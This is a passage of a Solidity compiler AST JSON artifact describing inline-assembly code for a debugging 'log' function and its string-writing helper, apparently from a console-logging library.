8:4:22","nodeType":"YulIdentifier","src":"334228:4:22"},"nativeSrc":"334228:15:22","nodeType":"YulFunctionCall","src":"334228:15:22"}],"functionName":{"name":"iszero","nativeSrc":"334221:6:22","nodeType":"YulIdentifier","src":"334221:6:22"},"nativeSrc":"334221:23:22","nodeType":"YulFunctionCall","src":"334221:23:22"},"nativeSrc":"334218:36:22","nodeType":"YulIf","src":"334218:36:22"}]},"condition":{"arguments":[{"name":"length","nativeSrc":"334173:6:22","nodeType":"YulIdentifier","src":"334173:6:22"},{"kind":"number","nativeSrc":"334181:4:22","nodeType":"YulLiteral","src":"334181:4:22","type":"","value":"0x20"}],"functionName":{"name":"lt","nativeSrc":"334170:2:22","nodeType":"YulIdentifier","src":"334170:2:22"},"nativeSrc":"334170:16:22","nodeType":"YulFunctionCall","src":"334170:16:22"},"nativeSrc":"334163:93:22","nodeType":"YulForLoop","post":{"nativeSrc":"334187:28:22","nodeType":"YulBlock","src":"334187:28:22","statements":[{"nativeSrc":"334189:24:22","nodeType":"YulAssignment","src":"334189:24:22","value":{"arguments":[{"name":"length","nativeSrc":"334203:6:22","nodeType":"YulIdentifier","src":"334203:6:22"},{"kind":"number","nativeSrc":"334211:1:22","nodeType":"YulLiteral","src":"334211:1:22","type":"","value":"1"}],"functionName":{"name":"add","nativeSrc":"334199:3:22","nodeType":"YulIdentifier","src":"334199:3:22"},"nativeSrc":"334199:14:22","nodeType":"YulFunctionCall","src":"334199:14:22"},"variableNames":[{"name":"length","nativeSrc":"334189:6:22","nodeType":"YulIdentifier","src":"334189:6:22"}]}]},"pre":{"nativeSrc":"334167:2:22","nodeType":"YulBlock","src":"334167:2:22","statements":[]},"src":"334163:93:22"},{"expression":{"arguments":[{"name":"pos","nativeSrc":"334280:3:22","nodeType":"YulIdentifier","src":"334280:3:22"},{"name":"length","nativeSrc":"334285:6:22","nodeType":"YulIdentifier","src":"334285:6:22"}],"functionName":{"name":"mstore","nativeSrc":"334273:6:22","nodeType":"YulIdentifier","src":"334273:6:22"},"nativeSrc":"334273:19:22","nodeType":"YulFunctionCall","src":"334273:19:22"},"nativeSrc":"334273:19:22","nodeType":"YulExpressionStatement","src":"334273:19:22"},{"nativeSrc":"334309:37:22","nodeType":"YulVariableDeclaration","src":"334309:37:22","value":{"arguments":[{"kind":"number","nativeSrc":"334326:3:22","nodeType":"YulLiteral","src":"334326:3:22","type":"","value":"256"},{"arguments":[{"kind":"number","nativeSrc":"334335:1:22","nodeType":"YulLiteral","src":"334335:1:22","type":"","value":"3"},{"name":"length","nativeSrc":"334338:6:22","nodeType":"YulIdentifier","src":"334338:6:22"}],"functionName":{"name":"shl","nativeSrc":"334331:3:22","nodeType":"YulIdentifier","src":"334331:3:22"},"nativeSrc":"334331:14:22","nodeType":"YulFunctionCall","src":"334331:14:22"}],"functionName":{"name":"sub","nativeSrc":"334322:3:22","nodeType":"YulIdentifier","src":"334322:3:22"},"nativeSrc":"334322:24:22","nodeType":"YulFunctionCall","src":"334322:24:22"},"variables":[{"name":"shift","nativeSrc":"334313:5:22","nodeType":"YulTypedName","src":"334313:5:22","type":""}]},{"expression":{"arguments":[{"arguments":[{"name":"pos","nativeSrc":"334374:3:22","nodeType":"YulIdentifier","src":"334374:3:22"},{"kind":"number","nativeSrc":"334379:4:22","nodeType":"YulLiteral","src":"334379:4:22","type":"","value":"0x20"}],"functionName":{"name":"add","nativeSrc":"334370:3:22","nodeType":"YulIdentifier","src":"334370:3:22"},"nativeSrc":"334370:14:22","nodeType":"YulFunctionCall","src":"334370:14:22"},{"arguments":[{"name":"shift","nativeSrc":"334390:5:22","nodeType":"YulIdentifier","src":"334390:5:22"},{"arguments":[{"name":"shift","nativeSrc":"334401:5:22","nodeType":"YulIdentifier","src":"334401:5:22"},{"name":"w","nativeSrc":"334408:1:22","nodeType":"YulIdentifier","src":"334408:1:22"}],"functionName":{"name":"shr","nativeSrc":"334397:3:22","nodeType":"YulIdentifier","src":"334397:3:22"},"nativeSrc":"334397:13:22","nodeType":"YulFunctionCall","src":"334397:13:22"}],"functionName":{"name":"shl","nativeSrc":"334386:3:22","nodeType":"YulIdentifier","src":"334386:3:22"},"nativeSrc":"334386:25:22","nodeType":"YulFunctionCall","src":"334386:25:22"}],"functionName":{"name":"mstore","nativeSrc":"334363:6:22","nodeType":"YulIdentifier","src":"334363:6:22"},"nativeSrc":"334363:49:22","nodeType":"YulFunctionCall","src":"334363:49:22"},"nativeSrc":"334363:49:22","nodeType":"YulExpressionStatement","src":"334363:49:22"}]},"name":"writeString","nativeSrc":"334084:342:22","nodeType":"YulFunctionDefinition","parameters":[{"name":"pos","nativeSrc":"334105:3:22","nodeType":"YulTypedName","src":"334105:3:22","type":""},{"name":"w","nativeSrc":"334110:1:22","nodeType":"YulTypedName","src":"334110:1:22","type":""}],"src":"334084:342:22"},{"nativeSrc":"334439:17:22","nodeType":"YulAssignment","src":"334439:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"334451:4:22","nodeType":"YulLiteral","src":"334451:4:22","type":"","value":"0x00"}],"functionName":{"name":"mload","nativeSrc":"334445:5:22","nodeType":"YulIdentifier","src":"334445:5:22"},"nativeSrc":"334445:11:22","nodeType":"YulFunctionCall","src":"334445:11:22"},"variableNames":[{"name":"m0","nativeSrc":"334439:2:22","nodeType":"YulIdentifier","src":"334439:2:22"}]},{"nativeSrc":"334469:17:22","nodeType":"YulAssignment","src":"334469:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"334481:4:22","nodeType":"YulLiteral","src":"334481:4:22","type":"","value":"0x20"}],"functionName":{"name":"mload","nativeSrc":"334475:5:22","nodeType":"YulIdentifier","src":"334475:5:22"},"nativeSrc":"334475:11:22","nodeType":"YulFunctionCall","src":"334475:11:22"},"variableNames":[{"name":"m1","nativeSrc":"334469:2:22","nodeType":"YulIdentifier","src":"334469:2:22"}]},{"nativeSrc":"334499:17:22","nodeType":"YulAssignment","src":"334499:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"334511:4:22","nodeType":"YulLiteral","src":"334511:4:22","type":"","value":"0x40"}],"functionName":{"name":"mload","nativeSrc":"334505:5:22","nodeType":"YulIdentifier","src":"334505:5:22"},"nativeSrc":"334505:11:22","nodeType":"YulFunctionCall","src":"334505:11:22"},"variableNames":[{"name":"m2","nativeSrc":"334499:2:22","nodeType":"YulIdentifier","src":"334499:2:22"}]},{"nativeSrc":"334529:17:22","nodeType":"YulAssignment","src":"334529:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"334541:4:22","nodeType":"YulLiteral","src":"334541:4:22","type":"","value":"0x60"}],"functionName":{"name":"mload","nativeSrc":"334535:5:22","nodeType":"YulIdentifier","src":"334535:5:22"},"nativeSrc":"334535:11:22","nodeType":"YulFunctionCall","src":"334535:11:22"},"variableNames":[{"name":"m3","nativeSrc":"334529:2:22","nodeType":"YulIdentifier","src":"334529:2:22"}]},{"nativeSrc":"334559:17:22","nodeType":"YulAssignment","src":"334559:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"334571:4:22","nodeType":"YulLiteral","src":"334571:4:22","type":"","value":"0x80"}],"functionName":{"name":"mload","nativeSrc":"334565:5:22","nodeType":"YulIdentifier","src":"334565:5:22"},"nativeSrc":"334565:11:22","nodeType":"YulFunctionCall","src":"334565:11:22"},"variableNames":[{"name":"m4","nativeSrc":"334559:2:22","nodeType":"YulIdentifier","src":"334559:2:22"}]},{"nativeSrc":"334589:17:22","nodeType":"YulAssignment","src":"334589:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"334601:4:22","nodeType":"YulLiteral","src":"334601:4:22","type":"","value":"0xa0"}],"functionName":{"name":"mload","nativeSrc":"334595:5:22","nodeType":"YulIdentifier","src":"334595:5:22"},"nativeSrc":"334595:11:22","nodeType":"YulFunctionCall","src":"334595:11:22"},"variableNames":[{"name":"m5","nativeSrc":"334589:2:22","nodeType":"YulIdentifier","src":"334589:2:22"}]},{"nativeSrc":"334619:17:22","nodeType":"YulAssignment","src":"334619:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"334631:4:22","nodeType":"YulLiteral","src":"334631:4:22","type":"","value":"0xc0"}],"functionName":{"name":"mload","nativeSrc":"334625:5:22","nodeType":"YulIdentifier","src":"334625:5:22"},"nativeSrc":"334625:11:22","nodeType":"YulFunctionCall","src":"334625:11:22"},"variableNames":[{"name":"m6","nativeSrc":"334619:2:22","nodeType":"YulIdentifier","src":"334619:2:22"}]},{"expression":{"arguments":[{"kind":"number","nativeSrc":"334716:4:22","nodeType":"YulLiteral","src":"334716:4:22","type":"","value":"0x00"},{"kind":"number","nativeSrc":"334722:10:22","nodeType":"YulLiteral","src":"334722:10:22","type":"","value":"0x8e3f78a9"}],"functionName":{"name":"mstore","nativeSrc":"334709:6:22","nodeType":"YulIdentifier","src":"334709:6:22"},"nativeSrc":"334709:24:22","nodeType":"YulFunctionCall","src":"334709:24:22"},"nativeSrc":"334709:24:22","nodeType":"YulExpressionStatement","src":"334709:24:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"334753:4:22","nodeType":"YulLiteral","src":"334753:4:22","type":"","value":"0x20"},{"kind":"number","nativeSrc":"334759:4:22","nodeType":"YulLiteral","src":"334759:4:22","type":"","value":"0x80"}],"functionName":{"name":"mstore","nativeSrc":"334746:6:22","nodeType":"YulIdentifier","src":"334746:6:22"},"nativeSrc":"334746:18:22","nodeType":"YulFunctionCall","src":"334746:18:22"},"nativeSrc":"334746:18:22","nodeType":"YulExpressionStatement","src":"334746:18:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"334784:4:22","nodeType":"YulLiteral","src":"334784:4:22","type":"","value":"0x40"},{"name":"p1","nativeSrc":"334790:2:22","nodeType":"YulIdentifier","src":"334790:2:22"}],"functionName":{"name":"mstore","nativeSrc":"334777:6:22","nodeType":"YulIdentifier","src":"334777:6:22"},"nativeSrc":"334777:16:22","nodeType":"YulFunctionCall","src":"334777:16:22"},"nativeSrc":"334777:16:22","nodeType":"YulExpressionStatement","src":"334777:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"334813:4:22","nodeType":"YulLiteral","src":"334813:4:22","type":"","value":"0x60"},{"name":"p2","nativeSrc":"334819:2:22","nodeType":"YulIdentifier","src":"334819:2:22"}],"functionName":{"name":"mstore","nativeSrc":"334806:6:22","nodeType":"YulIdentifier","src":"334806:6:22"},"nativeSrc":"334806:16:22","nodeType":"YulFunctionCall","src":"334806:16:22"},"nativeSrc":"334806:16:22","nodeType":"YulExpressionStatement","src":"334806:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"334842:4:22","nodeType":"YulLiteral","src":"334842:4:22","type":"","value":"0x80"},{"name":"p3","nativeSrc":"334848:2:22","nodeType":"YulIdentifier","src":"334848:2:22"}],"functionName":{"name":"mstore","nativeSrc":"334835:6:22","nodeType":"YulIdentifier","src":"334835:6:22"},"nativeSrc":"334835:16:22","nodeType":"YulFunctionCall","src":"334835:16:22"},"nativeSrc":"334835:16:22","nodeType":"YulExpressionStatement","src":"334835:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"334876:4:22","nodeType":"YulLiteral","src":"334876:4:22","type":"","value":"0xa0"},{"name":"p0","nativeSrc":"334882:2:22","nodeType":"YulIdentifier","src":"334882:2:22"}],"functionName":{"name":"writeString","nativeSrc":"334864:11:22","nodeType":"YulIdentifier","src":"334864:11:22"},"nativeSrc":"334864:21:22","nodeType":"YulFunctionCall","src":"334864:21:22"},"nativeSrc":"334864:21:22","nodeType":"YulExpressionStatement","src":"334864:21:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":44684,"isOffset":false,"isSlot":false,"src":"334439:2:22","valueSize":1},{"declaration":44687,"isOffset":false,"isSlot":false,"src":"334469:2:22","valueSize":1},{"declaration":44690,"isOffset":false,"isSlot":false,"src":"334499:2:22","valueSize":1},{"declaration":44693,"isOffset":false,"isSlot":false,"src":"334529:2:22","valueSize":1},{"declaration":44696,"isOffset":false,"isSlot":false,"src":"334559:2:22","valueSize":1},{"declaration":44699,"isOffset":false,"isSlot":false,"src":"334589:2:22","valueSize":1},{"declaration":44702,"isOffset":false,"isSlot":false,"src":"334619:2:22","valueSize":1},{"declaration":44674,"isOffset":false,"isSlot":false,"src":"334882:2:22","valueSize":1},{"declaration":44676,"isOffset":false,"isSlot":false,"src":"334790:2:22","valueSize":1},{"declaration":44678,"isOffset":false,"isSlot":false,"src":"334819:2:22","valueSize":1},{"declaration":44680,"isOffset":false,"isSlot":false,"src":"334848:2:22","valueSize":1}],"id":44704,"nodeType":"InlineAssembly","src":"334061:834:22"},{"expression":{"arguments":[{"hexValue":"30783163","id":44706,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"334920:4:22","typeDescriptions":{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},"value":"0x1c"},{"hexValue":"30786334","id":44707,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"334926:4:22","typeDescriptions":{"typeIdentifier":"t_rational_196_by_1","typeString":"int_const 196"},"value":"0xc4"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},{"typeIdentifier":"t_rational_196_by_1","typeString":"int_const 196"}],"id":44705,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":33551,"src":"334904:15:22","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_uint256_$_t_uint256_$returns$__$","typeString":"function (uint256,uint256) pure"}},"id":44708,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"334904:27:22","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":44709,"nodeType":"ExpressionStatement","src":"334904:27:22"},{"AST":{"nativeSrc":"334950:214:22","nodeType":"YulBlock","src":"334950:214:22","statements":[{"expression":{"arguments":[{"kind":"number","nativeSrc":"334971:4:22","nodeType":"YulLiteral","src":"334971:4:22","type":"","value":"0x00"},{"name":"m0","nativeSrc":"334977:2:22","nodeType":"YulIdentifier","src":"334977:2:22"}],"functionName":{"name":"mstore","nativeSrc":"334964:6:22","nodeType":"YulIdentifier","src":"334964:6:22"},"nativeSrc":"334964:16:22","nodeType":"YulFunctionCall","src":"334964:16:22"},"nativeSrc":"334964:16:22","nodeType":"YulExpressionStatement","src":"334964:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"335000:4:22","nodeType":"YulLiteral","src":"335000:4:22","type":"","value":"0x20"},{"name":"m1","nativeSrc":"335006:2:22","nodeType":"YulIdentifier","src":"335006:2:22"}],"functionName":{"name":"mstore","nativeSrc":"334993:6:22","nodeType":"YulIdentifier","src":"334993:6:22"},"nativeSrc":"334993:16:22","nodeType":"YulFunctionCall","src":"334993:16:22"},"nativeSrc":"334993:16:22","nodeType":"YulExpressionStatement","src":"334993:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"335029:4:22","nodeType":"YulLiteral","src":"335029:4:22","type":"","value":"0x40"},{"name":"m2","nativeSrc":"335035:2:22","nodeType":"YulIdentifier","src":"335035:2:22"}],"functionName":{"name":"mstore","nativeSrc":"335022:6:22","nodeType":"YulIdentifier","src":"335022:6:22"},"nativeSrc":"335022:16:22","nodeType":"YulFunctionCall","src":"335022:16:22"},"nativeSrc":"335022:16:22","nodeType":"YulExpressionStatement","src":"335022:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"335058:4:22","nodeType":"YulLiteral","src":"335058:4:22","type":"","value":"0x60"},{"name":"m3","nativeSrc":"335064:2:22","nodeType":"YulIdentifier","src":"335064:2:22"}],"functionName":{"name":"mstore","nativeSrc":"335051:6:22","nodeType":"YulIdentifier","src":"335051:6:22"},"nativeSrc":"335051:16:22","nodeType":"YulFunctionCall","src":"335051:16:22"},"nativeSrc":"335051:16:22","nodeType":"YulExpressionStatement","src":"335051:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"335087:4:22","nodeType":"YulLiteral","src":"335087:4:22","type":"","value":"0x80"},{"name":"m4","nativeSrc":"335093:2:22","nodeType":"YulIdentifier","src":"335093:2:22"}],"functionName":{"name":"mstore","nativeSrc":"335080:6:22","nodeType":"YulIdentifier","src":"335080:6:22"},"nativeSrc":"335080:16:22","nodeType":"YulFunctionCall","src":"335080:16:22"},"nativeSrc":"335080:16:22","nodeType":"YulExpressionStatement","src":"335080:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"335116:4:22","nodeType":"YulLiteral","src":"335116:4:22","type":"","value":"0xa0"},{"name":"m5","nativeSrc":"335122:2:22","nodeType":"YulIdentifier","src":"335122:2:22"}],"functionName":{"name":"mstore","nativeSrc":"335109:6:22","nodeType":"YulIdentifier","src":"335109:6:22"},"nativeSrc":"335109:16:22","nodeType":"YulFunctionCall","src":"335109:16:22"},"nativeSrc":"335109:16:22","nodeType":"YulExpressionStatement","src":"335109:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"335145:4:22","nodeType":"YulLiteral","src":"335145:4:22","type":"","value":"0xc0"},{"name":"m6","nativeSrc":"335151:2:22","nodeType":"YulIdentifier","src":"335151:2:22"}],"functionName":{"name":"mstore","nativeSrc":"335138:6:22","nodeType":"YulIdentifier","src":"335138:6:22"},"nativeSrc":"335138:16:22","nodeType":"YulFunctionCall","src":"335138:16:22"},"nativeSrc":"335138:16:22","nodeType":"YulExpressionStatement","src":"335138:16:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":44684,"isOffset":false,"isSlot":false,"src":"334977:2:22","valueSize":1},{"declaration":44687,"isOffset":false,"isSlot":false,"src":"335006:2:22","valueSize":1},{"declaration":44690,"isOffset":false,"isSlot":false,"src":"335035:2:22","valueSize":1},{"declaration":44693,"isOffset":false,"isSlot":false,"src":"335064:2:22","valueSize":1},{"declaration":44696,"isOffset":false,"isSlot":false,"src":"335093:2:22","valueSize":1},{"declaration":44699,"isOffset":false,"isSlot":false,"src":"335122:2:22","valueSize":1},{"declaration":44702,"isOffset":false,"isSlot":false,"src":"335151:2:22","valueSize":1}],"id":44710,"nodeType":"InlineAssembly","src":"334941:223:22"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"333851:3:22","parameters":{"id":44681,"nodeType":"ParameterList","parameters":[{"constant":false,"id":44674,"mutability":"mutable","name":"p0","nameLocation":"333863:2:22","nodeType":"VariableDeclaration","scope":44712,"src":"333855:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":44673,"name":"bytes32","nodeType":"ElementaryTypeName","src":"333855:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"},{"constant":false,"id":44676,"mutability":"mutable","name":"p1","nameLocation":"333872:2:22","nodeType":"VariableDeclaration","scope":44712,"src":"333867:7:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":44675,"name":"bool","nodeType":"ElementaryTypeName","src":"333867:4:22","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":44678,"mutability":"mutable","name":"p2","nameLocation":"333881:2:22","nodeType":"VariableDeclaration","scope":44712,"src":"333876:7:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":44677,"name":"bool","nodeType":"ElementaryTypeName","src":"333876:4:22","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":44680,"mutability":"mutable","name":"p3","nameLocation":"333893:2:22","nodeType":"VariableDeclaration","scope":44712,"src":"333885:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":44679,"name":"uint256","nodeType":"ElementaryTypeName","src":"333885:7:22","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"333854:42:22"},"returnParameters":{"id":44682,"nodeType":"ParameterList","parameters":[],"src":"333911:0:22"},"scope":46587,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":44758,"nodeType":"FunctionDefinition","src":"335176:1524:22","nodes":[],"body":{"id":44757,"nodeType":"Block","src":"335245:1455:22","nodes":[],"statements":[{"assignments":[44724],"declarations":[{"constant":false,"id":44724,"mutability":"mutable","name":"m0","nameLocation":"335263:2:22","nodeType":"VariableDeclaration","scope":44757,"src":"335255:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":44723,"name":"bytes32","nodeType":"ElementaryTypeName","src":"335255:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":44725,"nodeType":"VariableDeclarationStatement","src":"335255:10:22"},{"assignments":[44727],"declarations":[{"constant":false,"id":44727,"mutability":"mutable","name":"m1","nameLocation":"335283:2:22","nodeType":"VariableDeclaration","scope":44757,"src":"335275:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":44726,"name":"bytes32","nodeType":"ElementaryTypeName","src":"335275:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":44728,"nodeType":"VariableDeclarationStatement","src":"335275:10:22"},{"assignments":[44730],"declarations":[{"constant":false,"id":44730,"mutability":"mutable","name":"m2","nameLocation":"335303:2:22","nodeType":"VariableDeclaration","scope":44757,"src":"335295:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":44729,"name":"bytes32","nodeType":"ElementaryTypeName","src":"335295:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":44731,"nodeType":"VariableDeclarationStatement","src":"335295:10:22"},{"assignments":[44733],"declarations":[{"constant":false,"id":44733,"mutability":"mutable","name":"m3","nameLocation":"335323:2:22","nodeType":"VariableDeclaration","scope":44757,"src":"335315:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":44732,"name":"bytes32","nodeType":"ElementaryTypeName","src":"335315:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":44734,"nodeType":"VariableDeclarationStatement","src":"335315:10:22"},{"assignments":[44736],"declarations":[{"constant":false,"id":44736,"mutability":"mutable","name":"m4","nameLocation":"335343:2:22","nodeType":"VariableDeclaration","scope":44757,"src":"335335:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":44735,"name":"bytes32","nodeType":"ElementaryTypeName","src":"335335:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":44737,"nodeType":"VariableDeclarationStatement","src":"335335:10:22"},{"assignments":[44739],"declarations":[{"constant":false,"id":44739,"mutability":"mutable","name":"m5","nameLocation":"335363:2:22","nodeType":"VariableDeclaration","scope":44757,"src":"335355:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":44738,"name":"bytes32","nodeType":"ElementaryTypeName","src":"335355:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":44740,"nodeType":"VariableDeclarationStatement","src":"335355:10:22"},{"assignments":[44742],"declarations":[{"constant":false,"id":44742,"mutability":"mutable","name":"m6","nameLocation":"335383:2:22","nodeType":"VariableDeclaration","scope":44757,"src":"335375:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":44741,"name":"bytes32","nodeType":"ElementaryTypeName","src":"335375:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":44743,"nodeType":"VariableDeclarationStatement","src":"335375:10:22"},{"assignments":[44745],"declarations":[{"constant":false,"id":44745,"mutability":"mutable","name":"m7","nameLocation":"335403:2:22","nodeType":"VariableDeclaration","scope":44757,"src":"335395:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":44744,"name":"bytes32","nodeType":"ElementaryTypeName","src":"335395:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":44746,"nodeType":"VariableDeclarationStatement","src":"335395:10:22"},{"assignments":[44748],"declarations":[{"constant":false,"id":44748,"mutability":"mutable","name":"m8","nameLocation":"335423:2:22","nodeType":"VariableDeclaration","scope":44757,"src":"335415:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":44747,"name":"bytes32","nodeType":"ElementaryTypeName","src":"335415:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":44749,"nodeType":"VariableDeclarationStatement","src":"335415:10:22"},{"AST":{"nativeSrc":"335444:921:22","nodeType":"YulBlock","src":"335444:921:22","statements":[{"body":{"nativeSrc":"335487:313:22","nodeType":"YulBlock","src":"335487:313:22","statements":[{"nativeSrc":"335505:15:22","nodeType":"YulVariableDeclaration","src":"335505:15:22","value":{"kind":"number","nativeSrc":"335519:1:22","nodeType":"YulLiteral","src":"335519:1:22","type":"","value":"0"},"variables":[{"name":"length","nativeSrc":"335509:6:22","nodeType":"YulTypedName","src":"335509:6:22","type":""}]},{"body":{"nativeSrc":"335590:40:22","nodeType":"YulBlock","src":"335590:40:22","statements":[{"body":{"nativeSrc":"335619:9:22","nodeType":"YulBlock","src":"335619:9:22","statements":[{"nativeSrc":"335621:5:22","nodeType":"YulBreak","src":"335621:5:22"}]},"condition":{"arguments":[{"arguments":[{"name":"length","nativeSrc":"335607:6:22","nodeType":"YulIdentifier","src":"335607:6:22"},{"name":"w","nativeSrc":"335615:1:22","nodeType":"YulIdentifier","src":"335615:1:22"}],"functionName":{"name":"byte","nativeSrc":"335602:4:22","nodeType":"YulIdentifier","src":"335602:4:22"},"nativeSrc":"335602:15:22","nodeType":"YulFunctionCall","src":"335602:15:22"}],"functionName":{"name":"iszero","nativeSrc":"335595:6:22","nodeType":"YulIdentifier","src":"335595:6:22"},"nativeSrc":"335595:23:22","nodeType":"YulFunctionCall","src":"335595:23:22"},"nativeSrc":"335592:36:22","nodeType":"YulIf","src":"335592:36:22"}]},"condition":{"arguments":[{"name":"length","nativeSrc":"335547:6:22","nodeType":"YulIdentifier","src":"335547:6:22"},{"kind":"number","nativeSrc":"335555:4:22","nodeType":"YulLiteral","src":"335555:4:22","type":"","value":"0x20"}],"functionName":{"name":"lt","nativeSrc":"335544:2:22","nodeType":"YulIdentifier","src":"335544:2:22"},"nativeSrc":"335544:16:22","nodeType":"YulFunctionCall","src":"335544:16:22"},"nativeSrc":"335537:93:22","nodeType":"YulForLoop","post":{"nativeSrc":"335561:28:22","nodeType":"YulBlock","src":"335561:28:22","statements":[{"nativeSrc":"335563:24:22","nodeType":"YulAssignment","src":"335563:24:22","value":{"arguments":[{"name":"length","nativeSrc":"335577:6:22","nodeType":"YulIdentifier","src":"335577:6:22"},{"kind":"number","nativeSrc":"335585:1:22","nodeType":"YulLiteral","src":"335585:1:22","type":"","value":"1"}],"functionName":{"name":"add","nativeSrc":"335573:3:22","nodeType":"YulIdentifier","src":"335573:3:22"},"nativeSrc":"335573:14:22","nodeType":"YulFunctionCall","src":"335573:14:22"},"variableNames":[{"name":"length","nativeSrc":"335563:6:22","nodeType":"YulIdentifier","src":"335563:6:22"}]}]},"pre":{"nativeSrc":"335541:2:22","nodeType":"YulBlock","src":"335541:2:22","statements":[]},"src":"335537:93:22"},{"expression":{"arguments":[{"name":"pos","nativeSrc":"335654:3:22","nodeType":"YulIdentifier","src":"335654:3:22"},{"name":"length","nativeSrc":"335659:6:22","nodeType":"YulIdentifier","src":"335659:6:22"}],"functionName":{"name":"mstore","nativeSrc":"335647:6:22","nodeType":"YulIdentifier","src":"335647:6:22"},"nativeSrc":"335647:19:22","nodeType":"YulFunctionCall","src":"335647:19:22"},"nativeSrc":"335647:19:22","nodeType":"YulExpressionStatement","src":"335647:19:22"},{"nativeSrc":"335683:37:22","nodeType":"YulVariableDeclaration","src":"335683:37:22","value":{"arguments":[{"kind":"number","nativeSrc":"335700:3:22","nodeType":"YulLiteral","src":"335700:3:22","type":"","value":"256"},{"arguments":[{"kind":"number","nativeSrc":"335709:1:22","nodeType":"YulLiteral","src":"335709:1:22","type":"","value":"3"},{"name":"length","nativeSrc":"335712:6:22","nodeType":"YulIdentifier","src":"335712:6:22"}],"functionName":{"name":"shl","nativeSrc":"335705:3:22","nodeType":"YulIdentifier","src":"335705:3:22"},"nativeSrc":"335705:14:22","nodeType":"YulFunctionCall","src":"335705:14:22"}],"functionName":{"name":"sub","nativeSrc":"335696:3:22","nodeType":"YulIdentifier","src":"335696:3:22"},"nativeSrc":"335696:24:22","nodeType":"YulFunctionCall","src":"335696:24:22"},"variables":[{"name":"shift","nativeSrc":"335687:5:22","nodeType":"YulTypedName","src":"335687:5:22","type":""}]},{"expression":{"arguments":[{"arguments":[{"name":"pos","nativeSrc":"33